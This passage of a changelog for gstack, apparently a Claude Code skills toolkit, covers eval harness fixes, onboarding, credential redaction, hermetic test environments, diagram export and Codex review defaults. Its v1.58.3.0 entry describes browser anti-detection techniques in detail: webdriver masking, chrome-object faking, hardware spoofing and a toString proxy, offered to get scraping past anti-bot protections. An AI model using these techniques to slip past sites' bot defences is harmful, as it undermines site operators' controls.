The dual-voice eval proves both halves of /autoplan's Phase 1, the Claude review subagent and the Codex outside voice, actually fire. It now registers its skills the way real installs do (project-level `.claude/skills/`), so it exercises the same slash-command path users hit. Claude Code 2.x resolves slash commands strictly from registered skills, and the eval's old sandbox layout predates that. The eval harness also gained a hard guarantee: when a spawned session hits its timeout, the runner returns everything it collected instead of waiting on orphaned child processes.

### The numbers that matter

Source: investigation transcripts and timings in `~/.gstack/projects/garrytan-gstack/e2e-runs/2026-07-10-*` plus the new regression test (reproducible: `bun test test/session-runner-timeout.test.ts`).

| Metric | Before | After |
|--------|--------|-------|
| /autoplan session in the eval sandbox | 0 turns, "Unknown command" | 43+ tool calls, both voices fire |
| Runner return after a 3s timeout with an orphaned child | hung past the 30s test cap | 8.1s |
| Timed-out 600s eval run wall time | 1431s (blocked on orphan pipes) | returns at timeout + 5s grace |

The orphan fix matters beyond one eval: any timed-out `claude -p` child that leaves a subprocess holding stdout kept the whole suite waiting. Streamed transcript lines now survive the cancel, so assertions run against real evidence even on timeout.

### What this means for you

`bun run test:evals` timeouts fail fast with a transcript instead of silently eating 10+ extra minutes per hung test. And if /autoplan's dual-voice wiring ever breaks, the eval will say so instead of failing for its own reasons.

### Itemized changes

#### Fixed

- `test/skill-e2e-autoplan-dual-voice.test.ts`: sandbox installs /autoplan and its review skills at project level (`.claude/skills/`), matching real slash-command resolution on Claude Code 2.x; the transcript filter reads raw stream-json shapes (the old `entry.type === 'tool_use'` filter matched nothing, so assertions only ever saw the final result text); hang protection accepts the Phase 1 review dispatch as progress evidence (full Phase 1 completion takes 15+ minutes of subagent work and belongs to the skill, not the eval); budget raised to 10 min / 40 turns.
- `test/helpers/session-runner.ts`: on spawn timeout, cancel the stdout reader and race the stderr drain against child exit plus a 5s grace window, so orphaned grandchildren cannot hold `runSkillTest` past bun's per-test timeout. Regression-locked by `test/session-runner-timeout.test.ts` (fails in 30s without the fix, passes in 8s with it).

#### For contributors

- TODOS.md: filed the periodic-CI coverage decision: `evals-periodic.yml` runs 9 of ~66 e2e files, so ~57 run only when local diff-selection happens to pick them, which is how this eval rotted unnoticed.

## [1.58.5.0] - 2026-06-21

## **A fresh install now lands on a concrete first move, not a dead end.**
## **gstack reads your repo, hands you the right first skill, and the bare `gstack` front door routes instead of dumping browse docs.**

gstack's first-run experience used to leak: a new user could install, type `gstack`, and land in a wall of browser-QA documentation regardless of what they wanted. This release makes the front door route, and adds a project-aware first-run scaffold. On the first skill run, gstack detects your repo state (empty repo, a language with code, a feature branch with unshipped work, uncommitted changes) and shows one short, specific suggestion — "there's code here, try `/qa`" or "unshipped work, `/review` then `/ship`" — then continues with whatever you asked. On a returning session it nudges the full `plan → review → ship` loop once. `office-hours` now offers to launch the next review for you instead of listing options you have to retype. And the top-level `gstack` skill is now a pure router: the duplicated browse docs it used to carry live only in `/browse`.

### The numbers that matter

Source: the community-tier telemetry that motivated this work (Supabase `frugpmstpnojnhfyimgv`, ~23,839 distinct installs, Mar–Jun 2026; rerun the cohort query to reproduce). These are the activation gaps the release targets, not a post-ship result.

| Activation signal | Measured | What it means |
|---|---|---|
| Installs that never run any skill | ~21% | The front door loses 1 in 5 before they start |
| One-and-done (ran exactly one skill, ever) | ~30% | Most of the rest don't come back |
| Bare `gstack` skill one-and-done rate | 40% | The worst front door — it dead-ended in browse docs |
| First-skill → 3-week survival spread | 21% (bare gstack) to 39% (`ship`) | Which first skill you land on predicts whether you stay |

The success metric is pre-registered, not claimed: rerun the same cohort query at T+6 weeks and look for W0 activation up and one-and-done down, per intervention. No post-ship measurement exists yet.

### What this means for builders

If you just installed gstack, your first session points you at something useful for the repo you're actually in, and `gstack` with no specific ask sends you to the right skill instead of browser docs. Nothing fires in headless/eval runs, and the nudge never interrupts a command you explicitly gave. If the T+6-week numbers don't move, the honest read is that the lever was wording when the real gap is motivation, and the next step is an in-app onboarding flow (logged, not built here).

### Itemized changes

#### Added
- **First-run project scaffold:** `bin/gstack-first-task-detect` classifies the repo into one of a fixed set of buckets (greenfield, `code_<lang>` for Node/Python/Rust/Go/Ruby/iOS, branch-ahead, dirty-default, clean-default) using local git + file markers only, with portable timeouts and a fail-safe empty output. The shared preamble maps the bucket to a one-line first-skill suggestion on the first-ever run.
- **Returning-session loop tip:** once past the first run, the preamble nudges `plan → review → ship` a single time.
- **Setup first-move nudge:** `./setup` now prints an intent-routed starting point (idea → `/office-hours`/`/spec`; existing code → `/qa`/`/investigate`).
- **office-hours handoff:** the closing step offers to launch the next review (`/plan-eng-review` by default) via the Skill tool instead of listing options to retype.

#### Changed
- **The top-level `gstack` skill is now a pure router.** The browser-QA body it duplicated from `/browse` is removed; `gstack` routes any request to the right skill and sends browser/QA work to `/browse`. The browse skill itself is unchanged.
- Activation telemetry event types (`onboarding`, `first_task_scaffold_shown`, `handoff`, `route`) are accepted by the telemetry ingest path so the funnel can be measured.

#### For contributors
- New unit coverage for every detection bucket plus the eval-safe enum contract and the first-run gating (`test/preamble-first-task-scaffold.test.ts`), and a periodic E2E that runs the detector through the real harness (`test/skill-e2e-first-task-scaffold.test.ts`, classified `periodic`).
- Browse-content test assertions (gen-skill-docs, audit-compliance, skill-validation, the LLM-judge eval) repointed from the root skill to `browse/SKILL.md` to follow the router split; a regression test pins that the router carries no browse body.
- Parity / carve-guard size caps bumped ~1–2KB per skill to account for the shared first-run-guidance preamble section.

## [1.58.4.0] - 2026-06-18

## **A community bug-fix wave plus a test-gate that finally sees the questions it was missing.**
## **gbrain writes survive transaction-mode poolers, the redaction engine learns six more secret shapes, dashboards stop lying about zero, and the plan-review smokes detect asks the harness was blind to.**

Two things ship here. First, the high-priority community bug wave: gbrain stopped force-enabling `GBRAIN_PREPARE` on transaction-mode poolers (which broke 100% of writes), a slow-but-healthy probe now classifies as `timeout` and lets sync proceed instead of silently skipping, the redaction engine gained six credential patterns, telemetry `error_message` runs through redaction before it leaves the machine, both the security and community dashboards stop reporting a fake `0` when the backend errors, and the Windows git-bash bins resolve their imports. Second, the plan-mode test gate: the real-PTY smokes for `/plan-eng-review`, `/plan-design-review`, and `/office-hours` were timing out on questions the skills had already rendered, because the terminal strips the cursor escapes that lay out the options. A new collapsed-form detector catches the ask in any render, the Haiku state-judge stops coin-flipping on a leftover spinner, and `/plan-eng-review` + `/plan-design-review` now confirm what to review before grinding a full audit on an empty repo.

### The numbers that matter

From the v1.58.4.0 diff against main and the CI eval matrix (`.github/workflows/evals.yml`, run 27780530109).

| Metric | Before | After | Δ |
|--------|--------|-------|---|
| Credential shapes the redaction engine catches | (prior set) | +6 (GitLab, HuggingFace, npm, DigitalOcean, Bearer, GCP SA) | +6 |
| Dashboards that can print a fake `0` on a backend error | 2 | 0 | -2 |
| gstack skills whose gbrain writes break on a 6543 pooler | all | 0 | fixed |
| PTY plan-mode smokes that timed out on an already-rendered question | 3 | 0 | -3 |
| Reliably-green PTY smokes actually gated in CI | 0 | 4 | +4 |

`office-hours` rendered its mode question at ~2m19s, well under the 300s budget, and the harness still scored the run a timeout because the option lines arrived collapsed (`A)` as `A(recommended)`, `Reply with A, B, or C` as `ReplywithA,B,orC`). The detector now reads both forms; 95 unit tests pin its contract.

### What this means for gstack users

If you run gbrain on a Supabase transaction-mode pooler, your writes work again. If you use `/ship`'s pre-push guard, it now fails closed on a git error and catches six more credential types before they leave your machine. If you run `/plan-eng-review` or `/plan-design-review`, they ask what to review first instead of spelunking your whole repo. The plan-review test gate stops flaking on its own blind spot. Nothing to do but upgrade.

### Itemized changes

#### Fixed
- **gbrain on transaction-mode poolers:** removed the forced `GBRAIN_PREPARE=true` that deterministically broke writes on port-6543 poolers (#1965). An explicit user-set `GBRAIN_PREPARE` still passes through.
- **gbrain probe timeout:** a probe that exceeds its deadline classifies as its own `timeout` status (15s default, `GSTACK_GBRAIN_PROBE_TIMEOUT_MS`-overridable); sync proceeds with a warning instead of silently suppressing brain features for a slow-but-healthy engine (#1964).
- **Security + community dashboards:** backend errors now surface as "unknown — backend error" (or a 503), never a fake `0`; success responses carry a `status:"ok"` marker so legacy backends are flagged "unverified" (#1947).
- **Telemetry:** `error_message` passes through the redaction engine at log time; on a redactor failure it fails closed to null (#1947).
- **Windows git-bash:** `gstack-learnings-log` and `gstack-question-log` cygpath-normalize `$SCRIPT_DIR` so their `bun -e` imports resolve; learnings-log surfaces validation errors instead of swallowing them (#1950).
- **`gstack-question-log`:** shares the audited injection-pattern list from `lib/jsonl-store.ts` instead of a local duplicate (#1934).
- **Pre-push guard:** fails closed when the diff cannot be computed (git failure / maxBuffer kill), with a `GSTACK_REDACT_PREPUSH=skip` escape valve (#1946).
- **PTY plan-mode smokes:** the harness detects a rendered AskUserQuestion even when stripAnsi collapses the option lines (markdown bold-bullet and lettered/numbered prose forms); the Haiku state-judge classifies WAITING when a question + reply-instruction is on screen despite an animating spinner. Fixes the office-hours, plan-eng, and plan-design plan-mode smokes that timed out on questions already displayed.
- **ios-qa E2E:** isolated under `bun test --concurrent` (per-test work dirs, daemon paths passed as options not process-global env, afterAll cleanup) — fixes 3 real races.

#### Added
- **Six credential patterns in the redaction engine:** GitLab tokens, HuggingFace, npm, DigitalOcean, `Bearer` (entropy-gated), and GCP service-account JSON (#1946).
- **Ask-first scope gate** in `/plan-eng-review` and `/plan-design-review`: the first action confirms the review target (branch diff / pasted plan / specific path) before any repo exploration or audit.
- **`/ship` owns the pre-push guard install:** silent auto-install when the repo opts in, a one-time offer otherwise (#1946).

#### For contributors
- New collapsed-form prose-AUQ detector + judge spinner-precedence rule in `test/helpers/claude-pty-runner.ts`; 95 unit tests pin the two-signal contract.
- The PTY model now pins to `EVALS_MODEL ?? claude-sonnet-4-6` (mirrors `session-runner.ts`), removing operator-model nondeterminism from the smokes.
- Stochastic ask-first smokes (plan-eng/plan-design plan-mode + finding-floor) reclassified `periodic` per the non-deterministic-tests rule; the deterministic ones (office-hours, plan-mode-no-op) now run in CI via a new `e2e-pty-plan-smoke` matrix suite with an in-container skill-registry install step.
- `redactFindingSpans()` is the machine-egress redaction entry point in `lib/redact-engine.ts`.

## [1.58.3.0] - 2026-06-18

## **GBrowser masks the full set of automation tells by default, on every path a page can reach.**
## **Layer C stealth is always on, carries a per-install hardware identity, and survives the toString depth-3 trick.**

GBrowser's headless and headed Chromium now ship "Layer C" anti-detection by default, with no opt-in flag. Where the old default masked only `navigator.webdriver`, the browser now also restores the full `window.chrome.*` shape (runtime, app, csi, loadTimes), aligns `Notification.permission` with the Permissions API, reports a per-install `hardwareConcurrency`/`deviceMemory` from the host profile, sweeps the known Selenium/Phantom/Nightmare/Playwright globals, and installs a `Function.prototype.toString` proxy so every patched getter reports `[native code]` even under the depth-3 recursion check. The aggressive `GSTACK_STEALTH=extended` mode (WebGL spoof, faked plugins, mediaDevices) still exists, now layered on top of Layer C rather than replacing it. And stealth applies on all four context-creation paths, so a `useragent` change, a `viewport --scale`, or a headless-to-headed handoff hands a site a fully masked page every time.

### The numbers that matter

Source: `bun test browse/test/stealth-layer-c.test.ts browse/test/stealth-webdriver.test.ts browse/test/stealth-extended.test.ts browse/test/browser-manager-unit.test.ts` (80 tests, real Chromium for the runtime checks).

| Capability | Before (v1.58.1.0) | After (v1.58.3.0) |
|---|---|---|
| Automation tells masked by default | 1 (navigator.webdriver) | 7 categories (webdriver, window.chrome.*, Notification, per-install hardware, toString-native, automation-global sweep, cdc/Permissions) |
| Context paths that apply stealth | 2 (launch, launchHeaded) | 4 (+ handoff, + recreateContext) |
| toString integrity | not addressed | survives the depth-3 `[native code]` check |
| Hardware identity | generic Chromium default | per-install, from the host profile |
| Stealth tests | none dedicated | 80 passing (incl. real-Chromium runtime) |

By default the browser now masks seven categories of automation tell instead of one, on every path a page can reach, not just the first launch.

### What this means for builders

If you drive GBrowser to dogfood, scrape, or QA against anti-bot-protected targets, your sessions look like a real per-install Chrome out of the box. There is no `GSTACK_STEALTH` flag to remember, and no silent gap where a routine `useragent` or `viewport --scale` strips the mask. For gbrowser builds with the Pack 1 C++ patches, set the `GSTACK_*` host-profile env (gbd does this) to push the GPU/UA-CH/hardware spoof down to native code; on stock Playwright Chromium the same call is a safe no-op.

### Itemized changes

#### Added
- Always-on Layer C stealth (`buildStealthScript`): webdriver mask, `window.chrome.{runtime,app,csi,loadTimes}` shape, `Notification.permission` alignment, per-install `hardwareConcurrency`/`deviceMemory`, a `Function.prototype.toString` proxy that holds up under the depth-3 `[native code]` check, and a static sweep of Selenium/Phantom/Nightmare/Playwright globals.
- `buildGStackLaunchArgs`: per-install `--gstack-*` cmdline switches (GPU vendor/renderer, UA-CH platform/model, hardware concurrency/memory) for gbrowser's Pack 1 C++ patches, emitted only when the matching `GSTACK_*` env is set so stock Chromium is unaffected.
- Real-Chromium runtime coverage: webdriver, chrome.* shape, Notification/Permissions pairing, toString depth-3, per-install hardware, and the extended-mode blend (80 stealth tests).

#### Changed
- Stealth applies on every context-creation path (`launch`, `launchHeaded`, `handoff`, `recreateContext`), so a `useragent`, `viewport --scale`, or handoff keeps the full mask.
- The cdc_/`__webdriver` cleanup and the Permissions notifications shim live in `applyStealth`, so headless and handoff get the same `Notification.permission`/`permissions.query` consistency as the headed path.
- `GSTACK_STEALTH=extended` layers on top of Layer C; the always-on default does not fake `navigator.plugins` (the opt-in mode still does, as the documented "may break sites" escape hatch).
- `--gstack-suppress-prepare-stack-trace` is opt-in via `GSTACK_CDP_STEALTH=on`, so the switch never reaches a Chromium that does not understand it.
- `--disable-blink-features=AutomationControlled` comes from one shared `STEALTH_LAUNCH_ARGS` constant across every launch path.

## [1.58.1.0] - 2026-06-14

## **Local evals stop lying. Spawned `claude` test children run in a sealed clean room,**
## **and in Conductor every decision is a plain-text brief you answer with a letter.**

Two things shipped here. First, the local E2E harness is now hermetic by default:
every spawned agent (claude -p, the real-PTY plan-mode runner, the Agent SDK
runner, plus the codex and gemini runners) gets an allowlist-scrubbed environment,
a fresh seeded `CLAUDE_CONFIG_DIR`, a temp `GSTACK_HOME`, and `--strict-mcp-config`.
Before this, a dev machine leaked the operator's `~/.claude` config, MCP servers
(gbrain, Conductor), skills, `~/.gstack` decision logs, and `CONDUCTOR_*`/`CLAUDECODE`
env into every child, so local eval results disagreed with CI for reasons that had
nothing to do with the code under test. Now local signal matches CI. Set
`EVALS_HERMETIC=0` to debug against real operator state.

Second, in a Conductor session gstack no longer fights Conductor's flaky
AskUserQuestion tool. It detects the session and renders every decision as a prose
brief, a labeled question with a recommendation, per-option completeness scores, and
"reply with a letter," enforced by a PreToolUse hook that denies the tool and
redirects to prose. Destructive confirmations demand an explicit typed answer.

Agents that launch long eval runs get `gstack-detach`: a SIGTERM-proof, idle-sleep-proof
wrapper (fresh session + `caffeinate`) with a machine-wide lock so concurrent
worktrees serialize instead of saturating the model API, run-scoped logs, and a
guaranteed `EXIT=` sentinel so a poller never mistakes silence for success.

### The numbers that matter

Measured against the gate eval suite on a contaminated dev box (gbrain MCP up, live
Conductor session, sibling worktrees). Reproduce: `bun test` (free unit + wiring
tripwire) and `EVALS=1 EVALS_TIER=gate bun test test/skill-e2e-hermetic-canary.test.ts`.

| Metric | Before | After | Δ |
|--------|--------|-------|---|
| Spawned-child env | full operator `process.env` | allowlist-scrubbed | sealed |
| Runners hermeticized | 0 of 5 | 5 of 5 | +5 |
| Operator MCP servers visible to child | all (gbrain, Conductor) | 0 (`--strict-mcp-config`) | isolated |
| Config isolation proof | none | poisoned-operator sentinel canary | falsifiable |
| Long eval runs surviving a turn-boundary SIGTERM | no | yes (`gstack-detach`) | survives |

The clean room is falsifiable, not asserted: a `hermetic-sentinel` gate canary
plants a poisoned operator config (a user `CLAUDE.md` + an MCP server) and fails if
the child can see any of it, and a free static tripwire fails CI if any runner
reverts to a raw `process.env` spread.

### What this means for contributors

Run evals locally and trust the result. You no longer have to push to CI to find
out whether a failure was real or just your machine bleeding context into the agent.
Three latent bugs the old harness hid surfaced the moment the suite ran clean and
are fixed: a coverage-judge that scored carved skills against half a document, an
ios-qa daemon test that collided on a shared pidfile under concurrency, and an
operational-learning fixture missing a lib it imports. Start a run with
`bun run eval:bg:gate`; flip `EVALS_HERMETIC=0` only when you deliberately want your
real `~/.claude` in the loop.

### Itemized changes

#### Added
- **Hermetic E2E environment** (`test/helpers/hermetic-env.ts`): allowlist env
  builder (process basics, network/proxy vars, named `ANTHROPIC_*` auth, per-runner
  `extraAllow`), pure `promotedEnv()` shared with `lib/conductor-env-shim.ts`, a
  sync-memoized singleton temp dir (`<runRoot>/.claude` keeps the plan-file path
  contract), a seeded `.claude.json` for non-interactive first run, and pid-aware GC
  of crashed runs. Default-on; `EVALS_HERMETIC=0` restores the legacy env AND drops
  `--strict-mcp-config`.
- **Two gate-tier isolation canaries** (`test/skill-e2e-hermetic-canary.test.ts`):
  `hermetic-canary` asserts env redirect + scrub + zero MCP servers + nonzero
  API-key cost from the Bash tool_result (not model prose); `hermetic-sentinel`
  proves the child cannot see a planted poisoned operator config.
- **Static wiring tripwire** (`test/hermetic-wiring.test.ts`): free-tier invariants
  that fail CI if any of the five runners drops `hermeticChildEnv()`, the gated
  `--strict-mcp-config`, or leaks `process.env` through a callsite override.
- **`gstack-detach`** + `eval:bg` / `eval:bg:all` / `eval:bg:gate` / `eval:bg:periodic`
  scripts: detached, SIGTERM-proof, `caffeinate`-wrapped eval runs with a machine-wide
  lock, per-run logs under `~/.gstack-dev/eval-runs/`, a watchdog, and an `EXIT=`
  sentinel.
- **Conductor prose AskUserQuestion**: when a Conductor session is detected, every
  decision renders as a prose brief (labeled question, recommendation, per-option
  completeness, reply-with-a-letter), enforced by a PreToolUse hook that denies the
  tool and redirects. Auto-decide preferences still apply first; destructive
  confirmations require an explicit typed answer. Installed for Conductor even in
  non-interactive setup, with an upgrade migration for existing installs.

#### Changed
- All five E2E runners (`session-runner`, `claude-pty-runner`, `agent-sdk-runner`,
  `codex-session-runner`, `gemini-session-runner`) spawn children through
  `hermeticChildEnv()`. The Agent SDK runner now receives a COMPLETE hermetic env
  via `Options.env` (the old "never pass env: to the SDK" rule was partial-env
  replacement; a complete env is safe).
- `hermetic-env.ts` is a global touchfile, so any change to it selects every E2E +
  judge test.
- CLAUDE.md documents hermetic-by-default local evals and retires the stale SDK env
  warning.

#### Fixed
- The workflow LLM-judge now re-appends body-carved `sections/*.md` after the marker
  slice, so carved skills (document-release) are judged on the full workflow the
  agent executes instead of a half-document.

## [1.58.0.0] - 2026-06-12

## **Your documents grow diagrams. Mermaid and excalidraw fences render as real pictures,**
## **and make-pdf now ships single-file HTML and Word output from the same markdown.**

Put a ` ```mermaid ` fence in your markdown and `make-pdf` renders it as a crisp
vector diagram, fully offline, with the source preserved for round-trips. A broken
fence prints a loud red diagnostic block with the parse error, never silent raw
code. The new `/diagram` skill goes the other way: describe a flow in English and
get a triplet back, the mermaid source, an editable `.excalidraw` file you can open
at excalidraw.com in the hand-drawn style, and rendered SVG + PNG. Images got the
same care: local paths inline automatically and never truncate, phone photos
downscale to print resolution instead of blowing up the file, and a wide small-text
diagram promotes itself onto a vertically centered landscape page inside an
otherwise portrait document. One markdown file now exports three ways:
`--to pdf | html | docx`, where html is one self-contained file with zero network
references. Type is bigger across the board (12pt body, 56pt cover titles), TOC
links actually jump, and `--strict` turns missing, remote, out-of-tree, or
oversized images into hard CI failures.

### The numbers that matter

Measured on this repo's README (5,940 words, lists, code, screenshots, one
diagram fence) and the free gate suite. Reproduce: `make-pdf generate README.md
--cover --toc` and `bun test make-pdf/test/`.

| Metric | Before | After | Δ |
|--------|--------|-------|---|
| A mermaid fence in your PDF | raw code block | vector diagram | rendered |
| Output formats from one markdown | 1 (pdf) | 3 (pdf, html, docx) | +2 |
| Network requests at render time | up to 1 per remote image | 0 by default | sealed |
| Wide-diagram handling | shrunk into portrait | own centered landscape page | rotated |
| Free make-pdf gate tests | 121 | 189 | +68 |
| README → 29-page PDF with diagram | n/a | 4.4s | one command |

The sealed-network number is the one to notice: the mermaid and excalidraw
runtimes are vendored into a 9.2MB sha-pinned bundle, so rendering works on a
plane and a tracking pixel in pasted markdown fetches nothing.

### What this means for your documents

The diagram you describe in English stays editable forever: `/diagram` writes the
source, you embed the source in markdown, and every export renders it fresh. Stop
pasting screenshots of diagrams into documents. Run `/diagram` for the picture,
` ```mermaid ` for the document, and `--to html` when the reader doesn't want a PDF.

### Itemized changes

#### Added
- ` ```mermaid ` and ` ```excalidraw ` fences render as inline vector SVG in pdf
  and html output (docx embeds them as 300dpi PNGs). Fence options: `title="..."` (caption + aria-label),
  `render=false` (keep as code), `page=landscape|portrait` (orientation override).
  Render failures produce a visible diagnostic block with the parse error.
- `/diagram` skill: English in, editable triplet out (`.mmd` source,
  `.excalidraw` scene, SVG + PNG). Flowcharts convert to fully editable
  excalidraw scenes; other mermaid types render with an explicit limitation note.
- `lib/diagram-render/`: vendored offline bundle (mermaid 11.12.2, excalidraw
  0.18.0, exact pins), deterministic build, committed dist with sha256 + source
  fingerprint, drift tests, THIRD-PARTY-LICENSES.
- `--to pdf|html|docx` output formats. HTML is one self-contained file (inline
  SVG diagrams, data-URI images, zero network refs, screen-readable). DOCX is a
  content-fidelity export with diagrams embedded as 300dpi PNGs and alt text.
- Per-image directives: `![x](a.png){width=full|50%|3in}` and
  `{page=landscape|portrait}`.
- Conservative auto-landscape: wide, small-text, diagram-like images get their
  own vertically centered landscape page (aspect ≥ 1.8, width over ~2.5x the
  content box, diagram-ish alt word). Directives override in both directions.
- `--strict` for CI: missing images, remote images, out-of-tree image reads,
  oversized files, and non-regular files fail the run instead of degrading to
  placeholders.
- `docs/howto-diagrams-and-formats.md`: the full walkthrough, fences to formats.

#### Changed
- Typography scale: 12pt body, 26pt h1, 56pt poster cover with 13pt meta, 12pt
  TOC entries, larger code and tables. Auto-hyphenation is off so copy-paste
  yields clean words.
- Local images inline as data URIs with byte-probed dimensions and never
  truncate; oversized photos downscale to print resolution at inline time;
  repeated images are read once.
- TOC links resolve in every format (headings get real anchor ids); the screen
  layer hides print-only page-number dots in HTML output.
- Remote images are blocked with a visible placeholder unless `--allow-network`
  is passed; out-of-tree image reads (including via symlink) warn loudly.
- `make-pdf preview` prints a note when the document contains fences or local
  images that only `generate` renders fully.

#### Fixed
- Relative image paths render correctly in PDFs (previously resolved against the
  wrong base and could show as broken boxes).
- Fenced code inside lists survives the render byte-for-byte; indented fences
  keep their list placement.
- Documents containing `$&`-style sequences in diagram labels render exactly;
  Windows drive-letter image paths resolve as local files; malformed
  percent-encoded image URLs degrade gracefully instead of failing the run.
- Per-side margins (`--margin-left` etc.) are honored on documents containing
  landscape pages.

#### For contributors
- 68 new free-tier gates (fence extraction, image policy, landscape promotion
  with negative fixtures, format contracts, bundle drift) plus a paid gate-tier
  /diagram triplet test and a periodic authoring-quality judge.
- make-pdf-gate CI now covers `lib/diagram-render/**` and the drift test; the
  committed bundle is pinned to LF in .gitattributes.
- Fixed the `operational-learning` E2E fixture (bin scripts now ship with the
  lib module they import).

## [1.57.10.0] - 2026-06-10

## **Codex review now runs by default everywhere it matters.**
## **One switch governs it, and it falls back to Claude when Codex is missing or unauthed.**

Codex cross-model review used to be inconsistent. `/review` and `/ship` ran it
automatically, but plan reviews hid it behind a "Want an outside voice?" question
you had to say yes to every time, `/document-release` never ran it at all, and every
entry point only checked whether the `codex` binary existed, not whether it was
logged in. Now `codex_reviews` is one master switch (default `enabled`) that governs
Codex review across `/review`, `/ship`, `/plan-ceo-review`, `/plan-eng-review`,
`/plan-design-review`, `/plan-devex-review`, `/document-release`, and `/autoplan`.
The plan-review outside voice runs automatically. `/document-release` gets a new
Codex pass that checks your docs against what actually shipped. Every call site now
detects install AND auth separately, and degrades to a Claude subagent with a clear
one-line reason instead of silently skipping. Turn the whole thing off with one
command: `gstack-config set codex_reviews disabled`.

### The numbers that matter

Verified by the gate-tier E2E evals that exercise these exact paths
(`codex-offered-ceo-review`, `codex-offered-eng-review`, `document-release`,
`codex-review-findings`), all green this run.

| Metric | Before | After | Δ |
|--------|--------|-------|---|
| Skills where Codex review runs by default | 2 | 8 | +6 |
| Prompts to get a plan-review outside voice | 1 (opt-in each time) | 0 (automatic) | -1 |
| Codex readiness detection | install only | install + auth | sharper |
| Master switches to disable it all | 0 (per-skill only) | 1 (`codex_reviews`) | +1 |
| `/document-release` Codex doc audit | none | doc-vs-diff pass | new |

When Codex is installed but not logged in, you used to get nothing on the paths that
checked only `command -v codex`. Now you get a named reason ("Codex installed but not
authenticated, using Claude subagent") and the review still happens. A typo on the
switch (`gstack-config set codex_reviews disabledd`) is rejected and your existing
setting is preserved, so a fat-finger can never silently turn paid Codex calls on or
off.

### What this means for you

If you run gstack day to day, you stop deciding whether to get a second model's eyes
on every plan and every release. It is just there, on by default, the way the strong
reviewers already worked on diffs. If you do not have Codex set up, nothing breaks:
you get the Claude outside voice instead, with a one-line note telling you how to add
Codex for true cross-model coverage. If you want it gone, one command turns off all
eight surfaces at once.

### Itemized changes

#### Added
- **`codex_reviews` as the master switch** for Codex review across `/review`, `/ship`,
  `/document-release`, all four plan reviews, and `/autoplan` (`bin/gstack-config`).
  Default `enabled`. Invalid values on `set` are rejected with the existing value
  preserved, so a typo cannot flip paid Codex calls.
- **`/document-release` Codex doc audit** (`generateCodexDocReview`): reviews the
  docs you touched against the release diff for stale claims, undocumented new
  surface, and over/under-sold CHANGELOG entries. Informational, with an explicit
  apply-fixes decision point. Never auto-edits docs.
- **`codexPreflight()` shared helper** (`scripts/resolvers/constants.ts`): one
  self-contained bash block that reads the switch, sources the probe, checks install
  and auth, and emits a single canonical mode (`ready` / `not_installed` /
  `not_authed` / `disabled`).

#### Changed
- **Plan-review outside voice is default-on**, not opt-in. The "Want an outside
  voice?" question is gone; it runs automatically and falls back to a Claude subagent
  when Codex is unavailable. Incorporating its findings still requires your explicit
  approval (cross-model tension is presented, never auto-applied).
- **Adversarial review detects auth, not just install** (`generateAdversarialStep`):
  distinct "not installed" vs "not authenticated" guidance. The 200-line threshold
  for the heavier structured `codex review` is unchanged.
- **`/autoplan` honors `codex_reviews=disabled`** in its Phase 0.5 preflight, so the
  switch is truly global.

#### Fixed
- Three `gstack-config` tests asserted `get`/`list` print empty for unset keys; the
  tool falls back to the documented defaults table. Assertions now match real behavior.

#### For contributors
- Size-budget guards widened for the default-on outside-voice prose, each with a
  rationale comment (`test/helpers/carve-guards.ts`, `test/helpers/parity-harness.ts`).
- Static guards added: plan reviews must not carry the opt-in question and must render
  the default-on voice; `/document-release` must carry the doc review; the codex host
  strips all of it (`test/skill-validation.test.ts`).

## [1.57.9.0] - 2026-06-09

## **Your gstack checkout stays clean when gbrain is installed.**
## **Brain-aware skill blocks render to an untracked spot, never into tracked source.**

Before this, finishing a Conductor or dev-workspace setup with gbrain installed
rewrote 16 planning and review SKILL.md files in place, adding 326 lines of
brain-aware blocks straight into tracked source. Your working tree came back dirty,
one stray `git add` away from committing a token regression for everyone who does
not run gbrain. Now `gen-skill-docs --out-dir` renders the brain-aware variant into
an untracked per-workspace directory, and `bin/dev-setup` repoints the workspace's
skill symlinks at it. The dev workspace gets the full gbrain experience (context-load
and save-to-brain blocks live at runtime), while the tracked SKILL.md files stay
byte-for-byte canonical. To turn the blocks on across all your projects' Claude
sessions, `gstack-config gbrain-refresh` now renders them into your global install,
guarded so it never mutates a symlinked or non-gstack directory.

### The numbers that matter

Structural facts of the change, verifiable from the diff plus `bun run gen:skill-docs`
(zero drift) and the new behavioral test (`test/gen-skill-docs-out-dir.test.ts`).

| When gbrain is installed | Before | After |
|---|---|---|
| Tracked SKILL.md files dirtied by dev-setup | 16 (+326 lines) | 0 |
| Where brain-aware blocks render in a dev workspace | in-place, tracked source | `.claude/gstack-rendered/`, untracked |
| Brain-aware blocks across other projects | re-run `./setup` or hand-edit | `gstack-config gbrain-refresh` (idempotent) |
| "Is gbrain usable" check | per-caller JSON grep, can read stale state | `gstack-gbrain-detect --is-ok` (one live gate) |

The section-path rewrite is surgical: only `~/.claude/skills/gstack/<skill>/sections/`
references move to the render dir, so `bin/` and `docs/` references still resolve to
the install.

### What this means for you

If you develop gstack with gbrain on, `git status` is clean again after setup, and
you can stop fishing brain-block drift out of your commits. After a
`git reset --hard` deploy of your install, re-run `gstack-config gbrain-refresh` to
restore the machine-wide blocks (it is idempotent, and the deploy note in CLAUDE.md
spells this out).

### Itemized changes

#### Added
- `gen-skill-docs --out-dir <dir>`: render the Claude SKILL.md + sections into a
  separate directory instead of in place, rewriting only the section-base path so
  section reads resolve to the render. Default (no flag) output is unchanged.
- `gstack-gbrain-detect --is-ok`: live-detection exit-code gate (0 iff gbrain is
  usable), so setup, dev-setup, and gstack-config share one check.
- `gstack-config gbrain-refresh` now renders brain-aware blocks into the global
  install (`~/.claude/skills/gstack`), guarded against symlinked or non-gstack
  targets and self-documenting about the `reset --hard` re-run cycle.

#### Changed
- `bin/dev-setup` renders the brain-aware variant into `.claude/gstack-rendered`
  (gitignored) and repoints workspace skill symlinks at it; the worktree stays
  canonical. `GSTACK_SKIP_GBRAIN_REGEN` is passed inline to the nested setup, never
  exported.
- `setup` honors `GSTACK_SKIP_GBRAIN_REGEN` (skips the in-place brain regen on dev
  trees) and writes detection state to a PID-unique tmp so concurrent workspaces
  cannot clobber it.
- `scripts/dev-skill.ts` refreshes the workspace render on template change, only
  when the render dir already exists.
- `bin/dev-teardown` removes the untracked render.

#### For contributors
- New tests: `test/gen-skill-docs-out-dir.test.ts` (behavioral: worktree unchanged,
  blocks rendered, section paths rewritten), `test/dev-setup-render-isolation.test.ts`
  and `test/gbrain-refresh-install-render.test.ts` (static tripwires), plus
  `--is-ok` coverage in `test/gbrain-detect-shape.test.ts`.

## [1.57.8.0] - 2026-06-09

